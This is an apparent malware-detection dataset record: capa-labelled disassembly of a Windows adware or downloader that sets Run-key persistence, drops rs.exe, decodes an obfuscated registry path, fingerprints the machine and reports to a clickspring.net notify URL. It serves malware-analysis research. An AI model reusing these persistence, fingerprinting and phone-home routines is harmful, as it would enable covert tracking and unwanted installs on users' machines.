joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40112a
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3104c
call fcn.004097b0
push esi
push edi
lea eax, [ebp - 0x30c]
xor edi, edi
push 0x200
push eax
push edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov esi, dword [sym.imp.MSVCRT.dll_fopen]
lea eax, [ebp - 0x30c]
push 0x42989c
push eax
call esi
push 0x429898
mov dword [ebp - 4], eax
push dword [ebp + 8]
call esi
add esp, 0x10
cmp dword [ebp - 4], edi
mov dword [ebp + 8], eax
je 0x40125d
cmp eax, edi
je 0x40125d
mov edi, dword [sym.imp.MSVCRT.dll_fread]
push ebx
push dword [ebp - 4]
mov ebx, 0x30d40
lea eax, [ebp - 0x3104c]
push ebx
push 1
push eax
call edi
mov esi, dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
test eax, eax
mov dword [ebp - 8], eax
jle 0x4011eb
push dword [ebp + 8]
lea eax, [ebp - 0x3104c]
push dword [ebp - 8]
push 1
push eax
call esi
mov eax, dword [ebp - 8]
push dword [ebp - 4]
add dword [ebp - 0xc], eax
lea eax, [ebp - 0x3104c]
push ebx
push 1
push eax
call edi
add esp, 0x20
mov dword [ebp - 8], eax
test eax, eax
jg 0x4011bb
push 2
push 0xffffff00
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fseek]
push dword [ebp - 4]
mov ebx, 0x100
lea eax, [ebp - 0x10c]
push ebx
push 1
push eax
call edi
add esp, 0x1c
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push 0x28
xor edx, edx
pop ecx
push dword [ebp + 8]
div ecx
lea eax, [ebp - 0x3104c]
shl edx, 9
push edx
push 1
push eax
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push ebx
push 1
push eax
call esi
push dword [ebp - 4]
mov esi, dword [sym.imp.MSVCRT.dll_fclose]
call esi
push dword [ebp + 8]
call esi
add esp, 0x28
pop ebx
pop edi
pop esi
leave
ret

Function at 0x401261
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4012b1
push str.ContentService
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 8]
push 1
push 0
push 0x42d144
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x4012e6
Capabilities:
Delete file
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
push dword [ebp + 8]
call fcn.004012bc
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
lea eax, [ebp - 0x200]
push 7
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x200]
push 0x429920
push eax
call sub.MSVCRT.dll_strcat
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
pop ecx
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x400]
push str._swinservs.exe
push eax
call esi
mov edi, dword [sym.imp.MSVCRT.dll_remove]
lea eax, [ebp - 0x400]
push eax
call edi
mov ebx, 0x200
lea eax, [ebp - 0x200]
push ebx
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x1c
lea eax, [ebp - 0x200]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x400]
push str._swinservn.exe
push eax
call esi
lea eax, [ebp - 0x400]
push eax
call edi
add esp, 0x10
test eax, eax
pop edi
pop esi
pop ebx
jl 0x4013ae
mov dword [0x42d134], 1
leave
ret

Function at 0x401564
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
or byte [ebp - 0xa], 0xff
mov byte [ebp - 0x1c], 0xac
mov byte [ebp - 0x1b], 0x90
mov byte [ebp - 0x1a], 0x99
mov byte [ebp - 0x19], 0x8b
mov byte [ebp - 0x18], 0x88
mov byte [ebp - 0x17], 0x9e
mov byte [ebp - 0x16], 0x8d
mov byte [ebp - 0x15], 0x9a
mov byte [ebp - 0x14], 0xa3
mov byte [ebp - 0x13], 0xb5
mov byte [ebp - 0x12], 0x96
mov byte [ebp - 0x11], 0x92
mov byte [ebp - 0x10], 0x92
mov byte [ebp - 0xf], 0x86
mov byte [ebp - 0xe], 0xac
mov byte [ebp - 0xd], 0x8a
mov byte [ebp - 0xc], 0x8d
mov byte [ebp - 0xb], 0x99
xor ecx, ecx
lea eax, [ebp - 0x1c]
mov dl, 0xac
not dl
inc ecx
mov byte [eax], dl
mov dl, byte [ebp + ecx - 0x1c]
lea eax, [ebp + ecx - 0x1c]
cmp dl, 0xff
jne 0x4015bd
lea eax, [ebp - 4]
push ebx
xor ebx, ebx
push eax
push 0xf003f
lea eax, [ebp - 0x1c]
push ebx
push eax
push 0x80000001
mov byte [ebp + ecx - 0x1c], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4015fe
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401620
cmp dword [0x42d130], ebx
jne 0x401620
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp + 8]
push 0x4013b0
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x42d130], eax
pop ebx
leave
ret

Function at 0x401623
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
lea eax, [ebp - 0x400]
push 0x200
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
test eax, eax
je 0x40169d
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0x200]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x200]
push 0x429920
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x200]
push 0x42d344
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x200]
push 0x42989c
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x20
test eax, eax
je 0x40169d
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push 1
pop eax
leave
ret
xor eax, eax
leave
ret
Function at 0x4016a1
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
and byte [ebp - 0x204], 0
push esi
push edi
push 0x7f
pop ecx
xor eax, eax
lea edi, [ebp - 0x203]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x204]
push eax
push 0x200
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea eax, [ebp - 0x204]
push str.rs.exe
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x204]
push 0x429898
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 0x10
test esi, esi
je 0x401745
push esi
push 0x12800
push 1
push 0x417020
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
lea eax, [ebp - 4]
push eax
push 0x927c0
lea eax, [ebp - 0x204]
push 0x42d138
push eax
call fcn.004090ef
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.MSVCRT.dll_remove]
add esp, 0x28
pop edi
pop esi
leave
ret
Function at 0x408fbc
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [ebp + 0xc]
push ebx
lea eax, [ebp + 0xc]
push ebx
push eax
mov byte [edi], bl
push dword [ebp + 8]
xor esi, esi
push ebx
call sub.urlmon.dll_URLOpenBlockingStreamA
cmp eax, ebx
jge 0x408fe9
or eax, 0xffffffff
jmp 0x409060
cmp dword [ebp + 0x10], ebx
jle 0x40901b
mov eax, dword [ebp + 0xc]
lea edx, [ebp + 8]
push edx
mov edx, dword [ebp + 0x10]
mov ecx, dword [eax]
sub edx, esi
push edx
lea edx, [esi + edi]
push edx
push eax
call dword [ecx + 0xc]
cmp eax, ebx
jl 0x40901b
cmp eax, 1
je 0x40904d
add esi, dword [ebp + 8]
cmp eax, 1
je 0x40904d
cmp esi, dword [ebp + 0x10]
jl 0x408fee
cmp eax, 1
je 0x40904d
cmp eax, ebx
jge 0x40904d
push esi
push eax
lea eax, [ebp - 0x200]
push str.Download_error__08x__ptr_d_
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x200]
push eax
push ebx
push str.download
call fcn.00408977
add esp, 0x1c
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp esi, dword [ebp + 0x10]
jge 0x40905e
mov byte [esi + edi], bl
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409065
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
push esi
push edi
xor esi, esi
xor eax, eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x50]
push dword [ebp + 8]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x254]
mov dword [ebp - 0x54], 0x44
push eax
call sub.MSVCRT.dll_strcpy
cmp dword [ebp + 0xc], esi
pop ecx
pop ecx
je 0x4090b5
push dword [ebp + 0xc]
lea eax, [ebp - 0x254]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x254]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x4090da
or eax, 0xffffffff
jmp 0x4090eb
cmp dword [ebp - 0xc], esi
je 0x4090e8
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x10]
pop edi
pop esi
leave
ret
Function at 0x40918f
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
xor ebx, ebx
push dword [0x42b604]
mov byte [ebp - 1], bl
xor esi, esi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x4091e8
lea eax, [ebp - 0x10]
push eax
mov eax, dword [str.0602000000240000525341310002000001000100a9959a031b5ae483402a81a758afd66183db74517df889e42099f84cfc8096e783923134ca536e2671208da3e411983dcf92d850deb6be982715ffc845e133a9]
add eax, esi
push 0x42b73c
push eax
call dword [sym.imp.MSVCRT.dll_sscanf]
mov eax, esi
mov cl, byte [ebp - 0x10]
push dword [0x42b604]
cdq
sub eax, edx
sar eax, 1
inc esi
mov byte [ebp + eax - 0x78], cl
inc esi
call sub.MSVCRT.dll_strlen
add esp, 0x10
cmp esi, eax
jb 0x4091af
mov eax, esi
mov edi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
cdq
sub eax, edx
push ebx
mov esi, eax
push 1
push ebx
lea eax, [ebp - 8]
push ebx
push eax
sar esi, 1
call edi
test eax, eax
jne 0x409228
push 8
push 1
push ebx
lea eax, [ebp - 8]
push ebx
push eax
call edi
test eax, eax
jne 0x409228
push str.CryptAcquireContext
call fcn.0040912c
pop ecx
xor al, al
jmp 0x4092d0
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
lea eax, [ebp - 0x78]
push esi
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x40924d
push str.CryptImportKey
call fcn.0040912c
pop ecx
jmp 0x4092be
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push 0x8003
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x40926c
push str.CryptCreateHash
jmp 0x409245
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x409287
push str.CryptHashData
jmp 0x4092aa
push ebx
push ebx
push dword [ebp - 0x14]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptVerifySignatureA]
test eax, eax
je 0x4092a5
mov byte [ebp - 1], 1
jmp 0x4092b0
push str.CryptVerifySignature
call fcn.0040912c
pop ecx
cmp dword [ebp - 0xc], ebx
je 0x4092be
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 8], ebx
je 0x4092cd
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409b50
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
mov dword [0x42dac0], eax
mov eax, dword [esp + 0x10]
mov dword [0x42dac4], ecx
mov dword [0x42b9e4], eax
mov eax, dword [0x42dd48]
test eax, eax
mov dword [0x42b9e8], edx
jne 0x409ba0
lea ecx, [esp + 8]
push ecx
push eax
push eax
push 0x409a20
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x42dd48], eax
neg eax
sbb eax, eax
neg eax
dec eax
ret
lea edx, [esp + 4]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_GetExitCodeThread]
test eax, eax
je 0x409bc3
mov eax, dword [esp + 4]
cmp eax, 0x103
je 0x409bc3
neg eax
sbb eax, eax
and al, 0xfe
inc eax
ret
xor eax, eax
ret
Function at 0x40b060
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_malloc]
push edi
mov dword [esp + 0x10], 0x280
mov byte [ebp], 0
mov eax, dword [esp + 0x10]
push eax
call esi
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x40b0bf
mov ecx, dword [esp + 0x10]
xor eax, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
push ebx
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x40b0d8
push ebx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
jmp 0x40b07d
push str.GetMA:_could_not_malloc
call fcn.0040b190
add esp, 4
mov byte [ebp], 0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
test eax, eax
je 0x40b0f6
push eax
push str.getMA:_GetAdaptersInfo
call fcn.0040b350
add esp, 8
mov byte [ebp], 0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor ebp, ebp
mov cl, byte [0x42d138]
xor edx, edx
mov dword [esp + 0x15], edx
mov byte [esp + 0x14], cl
mov word [esp + 0x19], dx
test ebp, ebp
mov byte [esp + 0x1b], dl
jbe 0x40b12b
xor eax, eax
lea ecx, [esp + 0x14]
mov al, byte [ebx + ebp + 0x194]
push eax
push str.__.2X
push ecx
jmp 0x40b13f
xor edx, edx
lea eax, [esp + 0x14]
mov dl, byte [ebx + ebp + 0x194]
push edx
push str._.2X
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x20]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebp
cmp ebp, 6
rep movsb byte es:[edi], byte [esi]
jb 0x40b0f8
push ebx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x40b1b0
Capabilities:
Download url
Receive data

Disassembly:
sub esp, 0xa04
lea eax, [esp]
push esi
mov esi, dword [esp + 0xa14]
push 0
push 0
push eax
push 0x400
push esi
push 0
push 0x1300
call dword [sym.imp.KERNEL32.DLL_FormatMessageA]
test eax, eax
je 0x40b28f
push edi
mov edi, dword [esp + 0xa14]
test edi, edi
je 0x40b20d
mov ecx, dword [esp + 0xa10]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push ecx
lea edx, [esp + 0x10]
push 0x42be58
push edx
call esi
add esp, 0xc
jmp 0x40b230
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xa10]
push eax
push esi
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push ecx
lea edx, [esp + 0x18]
push str._s___d_:__s
push edx
call esi
add esp, 0x14
lea eax, [esp + 0x60c]
lea ecx, [esp + 0xc]
push eax
push ecx
call fcn.0040b2a0
mov edx, dword [0x42dac4]
mov ecx, dword [0x42dac0]
add esp, 8
lea eax, [esp + 0x60c]
push edx
push eax
push edi
push ecx
lea edx, [esp + 0x21c]
push str.http:__www.clickspring.net_install_notify.php_pid_dmodulefpv200result_dmessage_sreferer_d
push edx
call esi
add esp, 0x18
lea eax, [esp + 0x40c]
lea ecx, [esp + 0x20c]
push 0
push 0
push 0x200
push eax
push ecx
push 0
call sub.urlmon.dll_URLDownloadToCacheFileA
pop edi
pop esi
add esp, 0xa04
ret
Function at 0x40b370
Capabilities:
Get disk information

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0
push 0
push 0
lea eax, [esp + 0x14]
push 0
push eax
push 0
push 0
push 0x429ad4
mov byte [esi], 0
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
test eax, eax
jne 0x40b3a8
push str.getHDS:_get_vol_info
call fcn.0040b190
add esp, 4
mov byte [esi], 0
mov ecx, dword [esp + 8]
push ecx
push 0x42be5c
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
pop esi
ret

Function at 0x40b3c0
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x1000c
call fcn.004097b0
push esi
mov esi, dword [esp + 0x10014]
mov dword [esp + 8], 0xffff
mov byte [esi], 0
call fcn.0040b490
test eax, eax
je 0x40b3f1
mov byte [esi], 0
pop esi
add esp, 0x1000c
ret
lea eax, [esp + 4]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftCryptography
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40b42a
push eax
push str.getMSCG:_open_crypto_key
call fcn.0040b350
add esp, 8
mov byte [esi], 0
pop esi
add esp, 0x1000c
ret
lea ecx, [esp + 8]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push str.MachineGuid
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40b468
push eax
push str.getMSCG:_query_machine_guid
call fcn.0040b350
add esp, 8
mov byte [esi], 0
pop esi
add esp, 0x1000c
ret
lea edx, [esp + 0x10]
push edx
push 0x42be58
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
pop esi
add esp, 0x1000c
ret

Function at 0x40b4e0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
push ebx
push ebp
push 0x200
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0x200
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebp, dword [esp + 0x1c]
add esp, 4
mov ebx, eax
lea eax, [esp + 8]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push 0x80000002
mov byte [ebp], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40b545
push eax
push str.getWID:_Open_Windows_key
call fcn.0040b350
add esp, 8
mov byte [ebp], 0
pop ebp
pop ebx
add esp, 0xc
ret
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push ebx
push edx
push 0
push str.ProductId
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40b57e
push eax
push str.getWID:_Get_product_id
call fcn.0040b350
add esp, 8
mov byte [ebp], 0
pop ebp
pop ebx
add esp, 0xc
ret
mov ecx, dword [esp + 8]
push esi
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x40b5c0
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
mov eax, 0x1000c
call fcn.004097b0
push ebx
mov ebx, dword [esp + 0x10014]
push ebp
push esi
lea eax, [esp + 0x10]
push edi
push eax
push 0x20019
push 0
mov esi, 0xffff
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
mov dword [esp + 0x24], esi
mov byte [ebx], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40b61a
push eax
push str.getCPUI:_Open_CPU_key
call fcn.0040b350
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1000c
ret
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x1c]
push edx
push eax
push 0
push str.Identifier
push ecx
call ebp
test eax, eax
je 0x40b65a
push eax
push str.getCPUI:_Query_identifier
call fcn.0040b350
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1000c
ret
lea edx, [esp + 0x1c]
push edx
push str._s_r_n
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x18]
push eax
mov eax, dword [esp + 0x18]
push ecx
push edx
push 0
push str.VendorIdentifier
push eax
mov dword [esp + 0x28], esi
call ebp
test eax, eax
je 0x40b6ac
push eax
push str.getCPUInfo:_Query_vendor_id
call fcn.0040b350
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1000c
ret
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x10], 0xffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x42bf84
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0040b490
test eax, eax
jne 0x40b782
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0
push str.ProcessorNameString
push eax
call ebp
test eax, eax
je 0x40b748
push eax
push str.getCPUI:_Get_processor_name_string
call fcn.0040b350
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1000c
ret
lea ecx, [esp + 0x1c]
push 0x42bf48
push ecx
call dword [sym.imp.MSVCRT.dll__mbsspnp]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1000c
ret
Function at 0x40b7a0
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREClickSpring
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x40b7e1
push str.setUID:_RegCreateKeyEx
call fcn.0040b190
add esp, 4
xor eax, eax
add esp, 8
ret
mov edx, dword [esp + 0xc]
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [esp + 0xc]
push 1
push eax
push str.UUID
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop edi
je 0x40b81e
push str.setUID:_RegSetValueEx
call fcn.0040b190
add esp, 4
xor eax, eax
add esp, 8
ret
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 8
ret

Function at 0x40b840
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp + 8]
push esi
push eax
push 0x20019
push 0
push str.SOFTWAREClickSpring
push 0x80000002
mov dword [esp + 0x1c], 1
mov dword [esp + 0x18], 0x200
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40b87b
xor eax, eax
pop esi
add esp, 0xc
ret
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.MSVCRT.dll_malloc]
mov ecx, dword [esp + 0x10]
add esp, 4
lea edx, [esp + 4]
mov esi, eax
push edx
lea eax, [esp + 0xc]
push esi
push eax
push 0
push str.UUID
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
push esi
je 0x40b8bd
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
xor eax, eax
pop esi
add esp, 0xc
ret
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov eax, 1
pop esi
add esp, 0xc
ret

Function at 0x40ba40
Capabilities:
Query or enumerate registry value

Disassembly:
mov al, byte [0x42dac8]
sub esp, 8
test al, al
je 0x40ba59
push 0x42dac8
call fcn.0040b7a0
add esp, 4
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREClickSpring
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x40ba97
push str.setUID:_RegCreateKeyEx
call fcn.0040b190
add esp, 4
xor eax, eax
add esp, 8
ret
cmp dword [esp + 4], 2
je 0x40baa4
xor eax, eax
add esp, 8
ret
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp]
push edx
push eax
push 0
push 0
push 0x42c09c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40bad9
push str.setUID:_RegQueryValueEx
call fcn.0040b190
add esp, 4
xor eax, eax
add esp, 8
ret
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 8
ret